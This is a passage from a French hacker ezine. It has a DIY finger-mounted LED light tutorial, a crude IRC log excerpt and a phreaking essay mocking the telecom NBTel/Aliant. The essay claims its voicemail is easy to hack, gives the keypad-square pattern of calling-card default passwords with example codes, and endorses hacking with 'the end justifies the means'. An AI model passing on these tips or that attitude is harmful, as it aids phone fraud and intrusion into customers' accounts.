qu'il  l'entoure  ;)  Et    cette fin, j'ai dvelopp une lumire portative,  
intensit rglable, qui permet  un personne de se promener en voyant ou y s'en 
va.. autant dans ses pas que dans ses projets, le tout de faon discrte et non 
encombrante.. 

Le projet est en fait trs simples, sa va peut-tre donner  ceux de  vous  qui 
ont  jamais  t capable de cre de quoi de viable lectroniquement un dfi, il 
s'agit en gros d'une LED fixer  un velcro, qui est lui-mme fixer au  doigt de 
la  personne qui le porte, idal pour les raves par le fait mme.. ;) Mais dans 
ce cas si, le but est pas de penser  ce que vous pourrez faire avec ce bidule, 
mais plutt de vous montrer comment le faire!


D'abord  les  pices  essentielles    la  ralisation  de  ce  projet sont les 
suivantes :

-LED Blanche ou Bleu ou Rouge (au tour de 30mA de consommation lectrique)
-Une pile de 12v, format petite (et oui sa se fait)...
-Un  socket  pour  fixer  la mini-pile de 12v (idal pour le cte pas chiant de 
 taper le tout)
-Du fil, idalement de quoi de pas trop gros comme truc.
-Un interrupteur a trois position, ou 2 interrupteur de type On/Off .
-2 rsistances.. un de 570 Ohms et une de 280 Ohms.
-Des bandes de velcro.

Passons maintenant au montage, tout d'abord il faut fixer le fil qui alimentera 
la LED,  en courant. Noter que la LED a un pole positif et neutre, donc assurez 
vous de brancher le tout comme il le faut, conseil gratuit : le cte neutre est 
du mme  cote  que la partie la pin de mtal la plus grande  l'intrieur de la 
LED. La pin  neutre sera donc relie directement au - de la pile,  ou plutt de 
son socket.  Tandis  que la partie positive sera branche aux interrupteurs via 
un fil. L'interrupteur sera  son tour branch aux rsistances appropris et le 
tout sera reli  la borne positive du socket  batterie.


    12v                                    12v             R1                   
     |        I1     R1              OU     |       _____/\/\/\___                       
     |     ___/ ___/\/\/\__                 |    /         R2     \_____                  
     |____/   I2     R2    \_____           |___/   _____/\/\/\___/     |                       
          \___/ ___/\/\/\__/     |                  ___                 |
                                 |                     |                |
                                 |                     NC               |
                                 |                                      |
                                _|_                                    _|_                         
                                \ /  D1                                \ /  D1                          
                               ``|''                                  ``|''                                 
                                 |                                      |                      
                                 |                                      |                       
                                GND                                    GND                           

12v = Ct + de la pile.
GND = Ct neutre ou - de la pile.
I1 = Interrupteur #1.
I2 = Interrupteur #2.
R1 = Rsistance de 570 Ohms.
R2 = Rsistance de 280 Ohms.
D1 = Diode LED, Blanche [idalement], ou Bleu / Rouge.

I3 = Interrupteur #3, trois positions.
NC = Parti non connecter.

On  vois  donc  plutt bien que seul le bout d e fil  qui  sors  du  'pack'  de 
rsistance et d'interrupteur  se  rend  au  bout de votre doigt (de mme que le 
GND), le reste est  fixer,  coll  au velcro, qui est lui-mme self-strapable  
souhait autour de votre  doigt  ou  poignet.  La partie ou la LED se trouve est 
quand  elle colle de la mme  faon   un velcro, qui est accroch au bout de 
votre doigt,  l'angle auquel vous voulez bien le mettre. 

Image [IMG-01] et [IMG-02]

L'astuce est donc simple, on choisi entre le niveau d'clairage que l'on dsire 
soit celui qui est faible pour une discrtion accrue lors de vos manipulations, 
ou celui   qui est plus intense pour un clairage plus clair ;) idal pour se 
dplacer dans le noir.. La  Rsistance  R2 est plus grande que celle de R1 donc 
les lectrons se dplacent dans  le  circuit sont bloqus en quelque sorte lors 
du passage dans celle-ci, ce qui provoque donc une baisse de tension aux bornes 
de  la  diode  (D1),  ayant  comme  consquence  un   clairage   moins   fort. 
L'utilisation d'un interrupteur  trois positions serait plus judicieux, car on 
viterais d'active (comme dans ce cas  ci)  les  deux  interrupteurs  en  mme 
temps, ce qui risquerait bien franchement de griller votre LED (au prix vidant
d''n clairage intense.. vraiment intense pendent quelques secondes .. si  vous 
tes  chanceux..)  Dans  le  deuxime  cas,  les  trois  positions idal serait 
vidament pour les  deux fonctions d'intensit diffrente, et une position Off. 
De plus, il est  noter que  c'est  pas parce que votre LED allume au plus haut 
niveau qu'elle est  super  vidente, on  peut facilement glisser la LED, via le 
velcro,  l'intrieur de la main, et rgler ainsi, de faon cheap, la quantite 
de lumire qui sort de votre main pour clairer  ce  qui vous entour... de mme 
que la direction du beam. On peut aussi modifier  notre got  les rsistances, 
avec un simple calcul mathmatique: V=RI , comme notre LED   consomme  environs 
30mA, fonctionne  un voltage de 3.5v et que j'alimente celle-ci avec 24v (soit 
2 petites pilles de 12v, j'ai fait le calcul suivant :

24v - 3.5v = 20.5v  Ce  qui  nous  donne  le  voltage  qu'on  aux  bornes de le 
                    rsistance  l'intrieur du circuit.

20.5v / 0.03A = 683.3333 -> 680 Ohms    Ce  qui  nous  donne  la  valeur  de la 
                                        rsistance  qu'on  doit  placer   affin 
                                        obtenir un courant de 30mA (0.03A) avec 
                                        3.5v  la LED (car la rsistance bouffe
                                        20.5v)

Ici  l'inconnue  tait  la  rsistance , donc  on a du faire le calcul suivant: 
R=V/I  Il  s'agit  en fait d'une simple rgle de trois trs mallable. (A noter 
aussi que pour  trouver  la rsistance on a besoin du voltage  ses bornes (ici 
20.5v).

Pour  obtenir une lumire plus fiable, j'ai rduit le nombre d'ampre circulant 
dans le circuit, et par consquence, la valeur de la rsistance :

20.5v / 0.015A = 1366.66 -> 1.4K Ohms   Ce qui nous donne encore 3.5v au  borne 
                                        de la LED, mais qui rduit de moiti la  
                                        quantit  d'lectrons  qui   voyage    
                                        l'intrieur du circuit.

Comme dans cette article la source est de 12v et non de 24v, on peut facilement 
re-calculer les valeurs de rsistances:

12v - 3.5v = 8.5v (au borne de la rsistance)

8.5v / 0.03A = 283.33 -> 280 Ohms 

8.5v / 0.015A = 566.66 -> 570 Ohms

Vous pouvez videment changer la valeur des rsistances  selon  vos dsirs, une 
rsistance plus lev aura pour consquence de diminuer  l'intensit  lumineuse
de la LED. Bien que les valeurs du genre 280 Ohms ou 570 Ohms  sont plutt rare 
dans  le monde  des  rsistances, on peut combiner une 250, avec une 20 Ohms en 
srie par  exemple,  ou  simplement  choisir  d'arrondir    des  rsistance de 
250 Ohms et de 600 Ohms.

Voila,  je  serais donc bref dans ma conclusion en vous disant que c'est pas le 
projet le plus  long que j'ai fait de ma vie ;) Mais tout de mme si vous tes
un  inculte  du  milieu  de,  voila au moins ce qui faut faire pour allumer une 
lumire.

                             Qwzykx qui va veiller en ville avec ses cossins...
                                                                   So long !!..
								   

                                 
.---+-=[ Info - Pubs ]=-------------------------------+--------------------------=[:P]=----.
|  i|#hack.fr, un endroit plein d'opportunits         \___________________  ___  __   _   |
|  I|                                                                      \               |
|  I|                                                                       '-=[ Mk-110 ]=-|
| //                                                                                       |
| L\:-=[* sexyfill (~retnryt@81.192.197.195) has joined #hack.fr               ]=--[~~]----|
|      [<sexyfill> je veux une aide en echaenge une baise                      ]    \/     | 
       [<Gh0stD0G> ROFL                                                        ]           | 
|      [<sexyfill> tu peux m'aider                                             ] reality
|      [<Gh0stD0G> nop fuckyou                                                 ] only               
|      [<Zarex> haha                                                           ] strike you|  
       [<sexyfill> zarex tu peux m'aider                                       ] once      | 
       [<HackFr> Objects in mirror may be less virtual than they appear        ]           |  
|      [<sexyfill> hackfr                                                      ]               
|-[~]-=[<sexyfill> tu peux ma'ider                                             ]                
                                                                               ]=-----:\T  | 
|                                                                                      //  |  
                                                                                      |I
                                                                                      |i 
'_______________________________________.I[ Event ]I._________________________________+____' 




.---+-=[ Le phreaking de par chez nous       ]=------+---------------------------=[14]=----.
|  i|                                                 \__________________  ___  __   _     |
|  I|                                                                    \                 |
|  I|                                                                     '-=[c4ndu     ]=-|
| //                                                                                       |
| L\:-=[Ak : L'volution de la rapace.                  ]=--------------[~~~~~~~~~~~~]-----|
|                                                                        \          /      | 
'________________________________________________________________________.I[MK-110]I.______'         
               



Comme toute  socit  ou  tre  humain,  les   compagnies   visent  l'volution
stricte, c'est  dire de ne jamais dgrader et toujours tre    la hauteur  de
ce que leurs clients  aiment.  Eux  qui,  si  gnreusement,  font  grossir  la
bedaine du fumeur de  cigares  cubains  assis sur  son gros sige en cuir brun,
appell  monsieur  le  boss.  Chaque changement au sein d'une compagnie rsulte 
d'une  tude  "approfondie",  qui  vise     faire  grossir  leur ampleur et de 
grossir  le  cachet,  tout  en  conservant l'image de bonne volont,   question  
d'avoir  plusieurs  pommes  pourries  dans   leur  sac  immense  qu'on  appelle  
souvent  'la clientle'.  Bref,   on  ajuste  notre  tir  de  faon  a  pouvoir 
poigner la masse bizarre, ceux    qui  se  demandent  qu'est-ce  que le  3/4 de 
9 si on ajoute 2 au rsultat et qu'on ajoute la constante de temps par distance  
d'une  feuille  noir  qui   tombe  sur  la  surface  de   la  lune. C'est  donc  
probablement  nous  les victimes,  toi,  moi,  toi,  moi,  moi,  il, elle, ils. 
(Si vous n'avez pas compris le  punch  de la  dernire  phrase   j'ai  des faux 
billets d'un show d'humour  vendre). 

Le  phreaking   est   l'une   des  dures  faons  de  faire les choses. Souvent 
confronter  au  grand  froid  canadien,  la police  qui  semble tourner en rond  
(le centre c'est vous),  les  pay phones  non-trustable,   l'essai  d'une tonne 
de so called box   qui  ne  semble  pas  trs bien fonctionner, le beige boxing 
et c'est danger  tome 1, et  sans  oublier  le  stress vcu durant  un  priple  
qui  a  dur  3h, sois 2h a boire, 30 min de marche, et 30 min  gosser avec la 
gray box. 

Il  y  a  quelques  annes, la compagnie de tlphone provincial tait   nomme 
NBTel, le NB pour New Brunswick et je vous laisse deviner le reste. Vendant une 
tonne de service, mais rien de trs trs nouveau, c'est   dire  une  bunch  de 
service toiler (*99, *69, etc.), des plans  de  longues  distances, des cartes 
d'appels, afficheur. Bref, vous voyez le genre ? En effet,  le bon  vieux temps 
... NBTel ne se souciait gnralement  pas  des marginaux, on pouvait appliquer 
pas mal les mme principes d'une tonne de box  en ayant  un peu  de  skills  en  
social engineering .  Rien de trs complexe, rappelez-vous d'un matin de vos 12 
ans o vous avez eu supposment mal  la  tte,  vous  sauvant    ainsi   d'une   
journe   poche   l'cole  compose  du cours de musique o vous  deviez jouer  
de  la  clarinette  devant  30  copains.  C'tait  en  effet  d'une   faciliter 
incroyable, les crosses taient simples et  pouvaient  tre  effectu  de faon 
rptitive,  question d'allger le  montant  d'argent donn  NBTel.  Autrement  
dit,  plusieurs  personnes  faisaient du phreaking sans mme le savoir ... quoi 
de plus  marquant  pour  prouver  la stupidit des arnaques. 

Mais  l'univers    depuis  ce  temps  trs chang. NBTel  chang son nom pour 
Aliant  Telecom,  rien  de trs trs drastique pour ceux qui  la base n'aimait   
pas NBTel, sauf qu'on a vu un trs gros changement d'infrastructures,  au  del 
du  nom,  qui  dj  prnais l'expansion territoriale,  on  a  rajust le tir, 
visant  les  arnaqueurs de millionnaire.  NBTel  devena  alors  plus gros, plus 
fort, et  moins  stupide. Les crosses du bon vieux temps sont devenues beaucoup 
plus dures    effectuer.  NBTel a volu, et les marginaux doivent  maintenant  
essayer   de  suivre.  Sauf  qu'encore  une  fois,  le  bateau  n'est  pas trs 
rapide ... et on a russi    le  suivre  pour  quelques mois, mais l'expansion 
semble tre  de  plus  en plus rapide.   On   prvois s'acheter 2 rames de plus 
d'ici 2005. Le  problme,  c'est  qu'avec  la  venu  du  changement  de nom, et  
l'expansion s'en ai suivie, feu NBTel vise maintenant une clientle plus  large  
que  le  NB,   et lorsqu'on prvoie avoir  une  bandwidth plus large,  y'a rien  
de  plus  normal  que  d'tre  prs    tout  ventualit .. les  phreakers  et  
les  mchants de  cette  socit vont tre plus nombreux  avoir la mme cible, 
Aliant a pass  au mode 'j'me protge en mettant 3 capotes'. Mais comme  Aliant  
reste  NBTel, le rsultat semble un peu bizarre,  voir mme compltement idiot,  
mais  donnons  leur  le crdit  d'avoir  au  moins limin quelques rapaces qui 
ne savaient pas ce qu'ils faisaient. Bref, Paul Martin habiller en pyjama arm, 
a fait peur  quelques canadiens, mais  a  demeure  l'imbcile  heureux  dans   
la  tte  de  plusieurs.  La  preuve ?  Je vous voyais venir he.. la voici : 

-
At Aliant, the protection of the personal privacy information
of our customers is an integral part of our commitment to you.
In order to maintain privacy safeguards, we regret to inform you 
that the Name that Number service has been discontinued
as of December 1, 2004. 
-
Chez Aliant, la protection des informations confidentielles 
de nos clients fait partie intgrante de notre engagement envers vous.
Afin de maintenir les nouvelles mesures de protection de la vie 
prive, nous regrettons de vous informer que le service Qui est-ce? 
a t annul depuis le 1er dcembre 2004.
-



C'est en effet ce  que l'on pouvait constater sur le site de Aliant power page, 
la traduction franaise laisse  dsir, puisqu'on  est  port    croire qu'il  
s'agit d'une loi  provinciale,   ou  whatever.  Mais  dtrompez  vous,  soit en  
lisant  le  paragraphe  en  anglais,  ou  en  allant  sur canada411.ca qui nous 
permet  d'avoir acess au mme service apell 'reverse phone'  He oui, Aliant va 
toujours  demeurer  nbtel :)  J'ai  tent  en  vain  d'avoir  de  l'information 
concrte  au  sujet  de  cette "nouvelle loi de protection de  la  vie prive",  
je suis  tomb  sur  un  superviseur biculturel  parlant  supposment franais,  
  croire  que  le   service   en  franais  est  encore loin  d'tre une chose 
importante chez Aliant. 


En fouillant un peu sur le site, question de trouver rponse    mes  questions
moi-mme, je suis  tomb sur quelques paragraphes  assez  douteux,  digne  d'un
vendeur de limonade : 

-
Politique d'Aliant relative  la protection des renseignements personnels

Votre confidentialit



Chez Aliant, votre confidentialit est trs importante. Aprs tout,  vous  tes 
la raison pour laquelle nous travaillons. Notre  engagement    protger  votre 
confidentialit nous a permis de nous forger une rputation  de  chef  de  file 
dans la protection de la confidentialit du client. C'est une  rputation  dont 
nous s ommes trs fiers. Cependant, nous ne nous reposons pas sur nos lauriers. 
Afin  de  conserver  votre  confiance,  nous voulons que vous sachiez de quelle 
manire nous utilisons et conservons vos informations personnelles en scurit. 
Nous grons  de  manire  trs  stricte  la  faon  dont  nous  utilisons   les 
informations personnelles  et  tous  nos employs ont t forms pour respecter 
votre confidentialit en tout  temps.  Nous voulons galement rester ouverts au 
sujet de nos politiques et nous voulons vous donner la possibilit de poser des 
questions et trouver des rponses. 
-
 
Chez Tlcommunications Aliant, nous sommes convaincus que vous,  notre client, 
tes notre raison d'tre.  Notre  engagement  de  longue  date    protger  la 
confidentialit nous a valu la rputation de chef de file dans la protection de 
la confidentialit des renseignements sur les clients. 

Nous  avons mis en place de rigoureuses normes de protection  et  d'utilisation 
des renseignements personnels au sein de nos  systmes  informatiques et de nos 
sites Web. De plus,  nous  exigeons  de  nos  employs  qu'ils  respectent   en 
permanence la 

confidentialit des renseignements sur les clients. 

La  Politique  sur  la  confidentialit  des renseignements sur les  clients de 
Tlcommunications Aliant et le Code de  pratiques  quitables  en  matire  de 
renseignements  de  Tlcommunications  Aliant  noncent    clairement    notre 
engagement ainsi que les droits  des  clients  cet gard. Ceux-ci respectent  
la lettre la Loi  sur  la  protection  des  renseignements  personnels  et  les 
documents lectroniques, entre en vigueur le 1er janvier 2001. 

-


Des lignes et des lignes de conneries ... y'en a la tonne. 

Dans la  lance  de 'protection'  d'Aliant,  on  peut  quand mme ressentir une  
certaine  mfiance  de  la part  de  leurs employs.  Petit fait assez stupide: 
faire chier l'opratrice,    qui   ne   s'est  jamais adonner  ce plaisir fou. 
Cependant, chez Aliant, ils ont une nouvelle forme de patience qui se  rsume  
2 pranks calls :) La suite est un avertissement  de  signalement    la police. 
On a  tent  l'exprience  2  fois  et  on  remercie firement l'alcool d'avoir 
trouver a trs amusant. 

On peut aussi percevoir leur grande tmrence et dignit avec leur fameuse vmb.  
Depuis le changement de nom, rien, voir meme absolument rien, ne  s'est  encore 
produit au sujet de la faciliter a hacker ses boites  vocales.  Toujours  aussi 
facile a hacker, et ayant une tone de service relier a leur  access, sois nbtel 
express ... permettant au black hat d'abonner la cible  a  une tone de service, 
d'avoir acess a des informations personnelles au  sujet de cette meme cible, et 
j'en passe. Le tout est expliquer probablement plus  en  detail dans un article 
au sujet de ce hack a 10 cents qui se retrouve  dans  mindkind10 et sur le site 
web. Anyway, pour l'instant, on peut quand  meme  constater  l'ironie  du  pour 
parler de circonstance d'aliant qui se vente  de proteger la vie privee de leur 
client.

Mais tous ces trucs nous permettent de raliser  une  chose  importante,  c'est 
qu'on ne se protge    pas   de  ce  qui  nous ne attaque  pas,  on  peut  donc
conclure   que  Aliant  ont  eu  quelques problmes. On  n'a qu'a penser  leur 
fameux numro  de carte  d'appel avec un password prdfini qui semble toujours 
avoir  la mme  forme  visible   sur   le   clavier du tlphone. C'est--dire, 
que dans les cas o j'ai  eu  la  chance  de les  hackers,  le password formait 
un carr sur votre clavier .. 

1 2 3     1245, 2365, 6589 ...  
4 5 6           
7 8 9
 0 

Quand mme assez con, non ? Y'a eu une folie rgionale des cartes d'appel, tout 
le monde avait ou connaissait quelqu'un qui, par hasard, tait tomb sur le bon 
password. Existe-t-il des phreakers au NB ? woah ... :) 

Je vais conclure cet article en ne vous  donnant  pas  le  but  ce  cet article 
uniquement parce que j'ai russi  faire une phrase qui contenait 2 fois le mot 
article + 1 sur vous compter celui dans la pseudo explication.  Amusez-vous, et 
tchez de trouver  au moins,   la limite, des raisons pour justifier vos actes 
de hacking, Aliant est devenu ce  qu'il  est  devenu, et anyway, a  ne  change 
pratiquement rien  notre vie, sauf  une  perfection  des techniques connues et 
l'apprentissage de d'autres ... car comme prnais IGA  en  son  temps,  la  fin 
justifie les moyens. Aliant n'a fait que donner une tape dans le dos  tout les 
gens qui s'adonne au phreaking et  par  le  fait  mme,  loigner  les quelques 
tarlas.




.---+-=[ Info - Pubs ]=-------------------------------+--------------------------=[:P]=----.
|  i| #hack.fr vous presente: la fin                   \___________________  ___  __   _   |
|  I|                                                                      \               |
|  I|                                                                       '-=[ Mk-110 ]=-|
| //                                                                                       |
| L\:-=[<Mindkind> <vn@freenode> :quit #hack.fr Read error: 110                ]=--[~~]----|
|      [(Connection timed out)                                                 ]    \/     | 
       [                                                                       ]           | 
|      [                                                                       ] Politicians
|      [                                                                       ] prefer
|      [                                                                       ] unarmed   |  
       [                                                                       ] peasants  | 
       [                                                                       ]           |  
|      [                                                                                       
|-[~]-=[                                                                       ]                
                                                                               ]=-----:\T  | 
|                                                                                      //  |  
                                                                                      |I
                                                                                      |i 
'_______________________________________.I[ Event ]I._________________________________+____'




   Dj la fin, mais inquitez vous pas on vous a pas attendu tout ce temps la,  on  c'est 
dj lancer dans l'criture de mindkind 111. Donc il devrait tre disponible avant 2006 ;]
C'est donc en compagnie de cette vieille citrouille que nous vous  abandonnons  pour  vous 
donnez un rendez vous dans notre prochain ezine, ou sur #hack.fr si vous etes  pas capable
d'attendre.  Sur ce amusez vous bien, riez des imbciles et engraissez vous de  tourtires
et autre mets gras du temps des ftes. 





                                      ,-```-,.    
              .------.---...        .`       `    
          .-``     .`       .      ,`         `, 
        --`      ,`      ,`  .  ,-`       ,;-.  l
      .`        ,`     .`     `         .n    \,;
    --         / \    ;              ,,l      |/ \ 
  ,`         ,/   `\ l `            .	     /  / | 
 .`        .`/      `\             `;        \ / / 
,`        ,' `/,      `\             `.,      \  |   
,         ,    /_________\           .--;.,,-,,\/ 
,         ,    `   ,     `    /.     \      `,`--,
,         .        .         /  l     \      ,    `,,
:         :        :        /    `,    \   .`     `.`,.
';         .       `;       /_,     `    \-`  ;     `,  `-,   
`,        i        i          `.,.`\         i      :.    `l  
`,        ;        |            \ //         |       l      `,
 `,    ___.      __l            ///          l        l      l
  :   |   `\    /  `'`--.   	\/           :         :      ,
  `;  `\    \  /         `'`-------''`,.,    ,         ,      ,
   |.   \    \/     /\                   `, .   ,-..,__       .
   | ,   \         /  \              .    `, ,'`    .--`      .
    \ \   \_______/    \__________,-` `.,   `    .``         /| 
     | `,       `,       `.             .`--., ,`    ,'    ,` | 
_____| / `--.,;..,.`,..,, .``.  --=--  .` , ,.`.,,.,;,,.--`, /___   
      \    /    |           ` ` |`   /  /|`' '      \    /   |   | 
       |  /  /  |                \  /  / \           \  /  / |   |   Mindkind Wish u
       | /     /                  |   /  /            \   / /    |               
        \   / |                   |  / //              | / /     |          a
         | /  |                    \  //               |  |      |                         
          \  /                      `\/                \ /`      |   Creepy Chrismas            
           \|                         |                 \        |
            \                                            \       |       and an
                                                                 |
                                                                 |        happy
                                                                 |
                                                                 |    ! banana end !
                                                                 |___________________
